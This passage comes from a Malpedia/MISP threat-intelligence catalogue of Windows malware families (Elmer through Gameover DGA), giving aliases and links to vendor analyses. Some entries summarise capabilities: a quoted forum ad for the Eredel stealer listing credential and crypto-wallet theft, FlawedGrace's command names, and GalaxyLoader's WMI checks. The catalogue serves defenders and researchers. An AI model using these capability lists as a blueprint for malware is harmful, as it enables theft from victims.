https://malpedia.caad.fkie.fraunhofer.de/details/win.elmer
https://www.symantec.com/security-center/writeup/2015-122210-5724-99
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
https://attack.mitre.org/software/S0064

Emdivi

The tag is: misp-galaxy:malpedia="Emdivi"

Emdivi is also known as:

Table 1303. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi
http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/
http://blog.jpcert.or.jp/2015/11/decrypting-strings-in-emdivi.html
https://securelist.com/new-activity-of-the-blue-termite-apt/71876/
http://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/

Emotet

The tag is: misp-galaxy:malpedia="Emotet"

Emotet is also known as:

Geodo
Heodo

Table 1304. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/
https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html
https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage
https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/
https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/
https://github.com/d00rt/emotet_research
https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack
https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/
https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html
http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1
https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/
https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/
https://research.checkpoint.com/emotet-tricky-trojan-git-clones/
https://www.cert.pl/en/news/single/analysis-of-emotet-v4/
https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/
https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html
https://persianov.net/emotet-malware-analysis-part-1
https://persianov.net/emotet-malware-analysis-part-2
https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol
https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/
https://paste.cryptolaemus.com
https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc
https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/
https://www.fidelissecurity.com/threatgeek/2017/07/emotet-takes-wing-spreader
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/
https://feodotracker.abuse.ch/?filter=version_e
https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus
https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/
https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69

Empire Downloader

The tag is: misp-galaxy:malpedia="Empire Downloader"

Empire Downloader is also known as:

Table 1305. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader
https://twitter.com/thor_scanner/status/992036762515050496

Enfal

The tag is: misp-galaxy:malpedia="Enfal"

Enfal is also known as:

Lurid

Table 1306. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal
http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf
https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/
https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/

EquationDrug

The tag is: misp-galaxy:malpedia="EquationDrug"

EquationDrug is also known as:

Table 1307. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug
https://securelist.com/inside-the-equationdrug-espionage-platform/69203/
https://cdn.securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html

Equationgroup (Sorting)

Rough collection EQGRP samples, to be sorted

The tag is: misp-galaxy:malpedia="Equationgroup (Sorting)"

Equationgroup (Sorting) is also known as:

Table 1308. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup
https://laanwj.github.io/2016/08/28/feintcloud.html
https://laanwj.github.io/2016/09/17/seconddate-cnc.html
https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html
https://laanwj.github.io/2016/08/22/blatsting.html
https://laanwj.github.io/2016/09/11/buzzdirection.html
https://laanwj.github.io/2016/09/23/seconddate-adventures.html
https://laanwj.github.io/2016/09/13/blatsting-rsa.html
https://laanwj.github.io/2016/09/01/tadaqueos.html
https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html

Erebus (Windows)

The tag is: misp-galaxy:malpedia="Erebus (Windows)"

Erebus (Windows) is also known as:

Table 1309. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Eredel

Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.

According to nulled[.]to:

Supported browsers Chromium Based: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Opera Neon, Comodo Dragon, Nichrome (Rambler), Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc and other Chromium Based browsers.

Stealing FileZilla
Stealing an account from Telegram
Stealing AutoFill
Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin
Stealing files from the desktop. Supports any formats, configurable via telegram-bot

The tag is: misp-galaxy:malpedia="Eredel"

Eredel is also known as:

Table 1310. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eredel
https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:hXXps://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab[https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:hXXps://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab]

EternalPetya

The tag is: misp-galaxy:malpedia="EternalPetya"

EternalPetya is also known as:

BadRabbit
Diskcoder.C
ExPetr
NonPetya
NotPetya
Nyetya
Petna
Pnyetya
nPetya

Table 1311. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya
http://blog.talosintelligence.com/2017/10/bad-rabbit.html
https://securelist.com/from-blackenergy-to-expetr/78937/
https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html
https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/
https://labsblog.f-secure.com/2017/06/30/eternal-petya-from-a-developers-perspective/
http://www.intezer.com/notpetya-returns-bad-rabbit/
https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/
https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/
http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html
https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/
https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/
https://www.riskiq.com/blog/labs/badrabbit/
https://labsblog.f-secure.com/2017/06/29/petya-i-want-to-believe/
https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/
https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/
https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b
http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://securelist.com/schroedingers-petya/78870/
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/
https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna
https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4
https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/
https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/
https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html
https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/
https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html
https://securelist.com/bad-rabbit-ransomware/82851/

EtumBot

The tag is: misp-galaxy:malpedia="EtumBot"

EtumBot is also known as:

HighTide

Table 1312. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise

Evilbunny

The tag is: misp-galaxy:malpedia="Evilbunny"

Evilbunny is also known as:

Table 1313. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny
https://www.cyphort.com/evilbunny-malware-instrumented-lua/
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope

EvilGrab

The tag is: misp-galaxy:malpedia="EvilGrab"

EvilGrab is also known as:

Vidgrab

Table 1314. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf

EVILNUM (Windows)

The tag is: misp-galaxy:malpedia="EVILNUM (Windows)"

EVILNUM (Windows) is also known as:

Table 1315. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
http://www.pwncode.club/2018/05/javascript-based-bot-using-github-c.html

EvilPony

Privately modded version of the Pony stealer.

The tag is: misp-galaxy:malpedia="EvilPony"

EvilPony is also known as:

CREstealer

Table 1316. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony
https://www.s21sec.com/en/blog/2017/07/ramnit-and-its-pony-module/
https://techhelplist.com/spam-list/1104-2017-03-27-your-amazon-com-order-has-shipped-malware
https://threatpost.com/docusign-phishing-campaign-includes-hancitor-downloader/125724/

Evrial

The tag is: misp-galaxy:malpedia="Evrial"

Evrial is also known as:

Table 1317. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evrial
https://www.bleepingcomputer.com/news/security/evrial-trojan-switches-bitcoin-addresses-copied-to-windows-clipboard/

Excalibur

The tag is: misp-galaxy:malpedia="Excalibur"

Excalibur is also known as:

Saber
Sabresac

Table 1318. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies

MS Exchange Tool

The tag is: misp-galaxy:malpedia="MS Exchange Tool"

MS Exchange Tool is also known as:

Table 1319. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool
https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Exile RAT

ExileRAT is a simple RAT platform capable of getting information on the system (computer name, username, listing drives, network adapter, process name), getting/pushing files and executing/terminating processes.

The tag is: misp-galaxy:malpedia="Exile RAT"

Exile RAT is also known as:

Table 1320. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exilerat
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html

Xtreme RAT

The tag is: misp-galaxy:malpedia="Xtreme RAT"

Xtreme RAT is also known as:

ExtRat

Table 1321. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat
https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html
https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat
https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html

Eye Pyramid

The tag is: misp-galaxy:malpedia="Eye Pyramid"

Eye Pyramid is also known as:

Table 1322. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid
http://blog.talosintel.com/2017/01/Eye-Pyramid.html
https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/

FakeDGA

According to Talos, this trojan injects into other processes, disables security features and tries to contact several domains, waiting for instruction.

There seem to be two versions of this malware: one with the FakeDGA-domains in plaintext, and one with AES-ECB-encrypted domains (using the Windows-API).

The tag is: misp-galaxy:malpedia="FakeDGA"

FakeDGA is also known as:

WillExec

Table 1323. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakedga
http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html
https://github.com/360netlab/DGA/issues/36
http://www.freebuf.com/column/153424.html

FakeRean

The tag is: misp-galaxy:malpedia="FakeRean"

FakeRean is also known as:

Braviax

Table 1324. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean
https://blog.threattrack.com/fakerean-comes-of-age-turns-hard-core/
https://0x3asecurity.wordpress.com/2015/11/30/134260124544/
https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv

FakeTC

The tag is: misp-galaxy:malpedia="FakeTC"

FakeTC is also known as:

Table 1325. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc
http://www.welivesecurity.com/2015/07/30/operation-potao-express/

Fanny

The tag is: misp-galaxy:malpedia="Fanny"

Fanny is also known as:

Table 1326. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1

FantomCrypt

The tag is: misp-galaxy:malpedia="FantomCrypt"

FantomCrypt is also known as:

Table 1327. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt
https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/

Farseer

The tag is: misp-galaxy:malpedia="Farseer"

Farseer is also known as:

Table 1328. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer
https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/

FastPOS

The tag is: misp-galaxy:malpedia="FastPOS"

FastPOS is also known as:

Table 1329. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos
https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/
http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf
http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf

Felismus

The tag is: misp-galaxy:malpedia="Felismus"

Felismus is also known as:

Table 1330. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Felixroot

The tag is: misp-galaxy:malpedia="Felixroot"

Felixroot is also known as:

Table 1331. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot
https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf
https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html

Feodo

Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.

The tag is: misp-galaxy:malpedia="Feodo"

Feodo is also known as:

Bugat
Cridex

Table 1332. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo
http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html
https://feodotracker.abuse.ch/
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/
http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html

FF RAT

The tag is: misp-galaxy:malpedia="FF RAT"

FF RAT is also known as:

Table 1333. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ff_rat
https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html

FileIce

The tag is: misp-galaxy:malpedia="FileIce"

FileIce is also known as:

Table 1334. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

Final1stSpy

The tag is: misp-galaxy:malpedia="Final1stSpy"

Final1stSpy is also known as:

Table 1335. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy
https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/

FindPOS

The tag is: misp-galaxy:malpedia="FindPOS"

FindPOS is also known as:

Poseidon

Table 1336. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos
https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/
https://blogs.cisco.com/security/talos/poseidon

FinFisher RAT

The tag is: misp-galaxy:malpedia="FinFisher RAT"

FinFisher RAT is also known as:

FinSpy

Table 1337. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher
https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/
https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/

Fireball

The tag is: misp-galaxy:malpedia="Fireball"

Fireball is also known as:

Table 1338. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball
http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/

FireCrypt

The tag is: misp-galaxy:malpedia="FireCrypt"

FireCrypt is also known as:

Table 1339. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

FireMalv

The tag is: misp-galaxy:malpedia="FireMalv"

FireMalv is also known as:

Table 1340. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

FirstRansom

The tag is: misp-galaxy:malpedia="FirstRansom"

FirstRansom is also known as:

Table 1341. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.first_ransom
https://twitter.com/JaromirHorejsi/status/815949909648150528

Flame

The tag is: misp-galaxy:malpedia="Flame"

Flame is also known as:

Table 1342. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flame
https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf

FLASHFLOOD

 FLASHFLOOD will scan inserted removable drives for targeted files, and copy those files from the
removable drive to the FLASHFLOOD-infected system. FLASHFLOOD may also log or copy additional data from the victim computer, such as system information
or contacts.

The tag is: misp-galaxy:malpedia="FLASHFLOOD"

FLASHFLOOD is also known as:

Table 1343. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

FlawedAmmyy

The tag is: misp-galaxy:malpedia="FlawedAmmyy"

FlawedAmmyy is also known as:

Table 1344. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy
https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930
https://github.com/Coldzer0/Ammyy-v3
https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat

FlawedGrace

According to ProofPoint, FlawedGrace is written in C++ and can be categorized as a Remote Access Trojan (RAT). It seems to have been developed in the second half of 2017 mainly.

FlawedGrace uses a series of commands: FlawedGrace also uses a series of commands, provided below for reference: * desktop_stat * destroy_os * target_download * target_module_load * target_module_load_external * target_module_unload * target_passwords * target_rdp * target_reboot * target_remove * target_script * target_servers * target_update * target_upload

The tag is: misp-galaxy:malpedia="FlawedGrace"

FlawedGrace is also known as:

Table 1345. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
https://www.msreverseengineering.com/blog/2019/1/14/a-quick-solution-to-an-ugly-reverse-engineering-problem

FlexiSpy (Windows)

The tag is: misp-galaxy:malpedia="FlexiSpy (Windows)"

FlexiSpy (Windows) is also known as:

Table 1346. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

FlokiBot

The tag is: misp-galaxy:malpedia="FlokiBot"

FlokiBot is also known as:

Table 1347. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot
https://www.flashpoint-intel.com/blog/cybercrime/floki-bot-emerges-new-malware-kit/
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/
https://www.cylance.com/en_us/blog/threat-spotlight-flokibot-pos-malware.html
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/
http://adelmas.com/blog/flokibot.php
http://blog.talosintel.com/2016/12/flokibot-collab.html#more
https://www.flashpoint-intel.com/flokibot-curious-case-brazilian-connector/
https://www.arbornetworks.com/blog/asert/flokibot-invades-pos-trouble-brazil/

FlowerShop

The tag is: misp-galaxy:malpedia="FlowerShop"

FlowerShop is also known as:

Table 1348. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop
https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf

Floxif

The tag is: misp-galaxy:malpedia="Floxif"

Floxif is also known as:

Table 1349. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif
https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library

Flusihoc

Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.

The tag is: misp-galaxy:malpedia="Flusihoc"

Flusihoc is also known as:

Table 1350. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc
https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/

Fobber

The tag is: misp-galaxy:malpedia="Fobber"

Fobber is also known as:

Table 1351. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber
https://blog.malwarebytes.com/threat-analysis/2015/06/elusive-hanjuan-ek-caught-in-new-malvertising-campaign/
http://www.govcert.admin.ch/downloads/whitepapers/govcertch_fobber_analysis.pdf
https://www.govcert.admin.ch/blog/12/analysing-a-new-ebanking-trojan-called-fobber
http://blog.wizche.ch/fobber/malware/analysis/2015/08/10/fobber-encryption.html
http://byte-atlas.blogspot.ch/2015/08/knowledge-fragment-unwrapping-fobber.html

Formbook

FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.

The tag is: misp-galaxy:malpedia="Formbook"

Formbook is also known as:

Table 1352. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/
https://www.peerlyst.com/posts/how-to-understand-formbook-a-new-malware-as-a-service-sudhendu?
http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html
https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/
https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/
http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/
https://www.botconf.eu/wp-content/uploads/2018/12/2018-R-Jullian-In-depth-Formbook-Malware-Analysis.pdf
https://www.peerlyst.com/posts/how-to-analyse-formbook-a-new-malware-as-a-service-sudhendu?trk=explore_page_resources_recent
https://blog.talosintelligence.com/2018/06/my-little-formbook.html

FormerFirstRAT

The tag is: misp-galaxy:malpedia="FormerFirstRAT"

FormerFirstRAT is also known as:

ffrat

Table 1353. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat
https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/

Freenki Loader

The tag is: misp-galaxy:malpedia="Freenki Loader"

Freenki Loader is also known as:

Table 1354. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

FriedEx

The tag is: misp-galaxy:malpedia="FriedEx"

FriedEx is also known as:

BitPaymer

Table 1355. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/

Furtim

The tag is: misp-galaxy:malpedia="Furtim"

Furtim is also known as:

Table 1356. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim
https://sentinelone.com/blogs/sfg-furtims-parent/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4341&sid=af76b944112a234fa933cc934d21cd9f

GalaxyLoader

GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.

It seems to make use of iplogger.com for tracking. It employed WMI to check the system for - IWbemServices::ExecQuery - SELECT * FROM Win32_Processor - IWbemServices::ExecQuery - select * from Win32_VideoController - IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct

The tag is: misp-galaxy:malpedia="GalaxyLoader"

GalaxyLoader is also known as:

Table 1357. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader

gamapos

The tag is: misp-galaxy:malpedia="gamapos"

gamapos is also known as:

pios

Table 1358. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos
http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf

Gameover DGA

The tag is: misp-galaxy:malpedia="Gameover DGA"

Gameover DGA is also known as:

Table 1359. Table References
Links
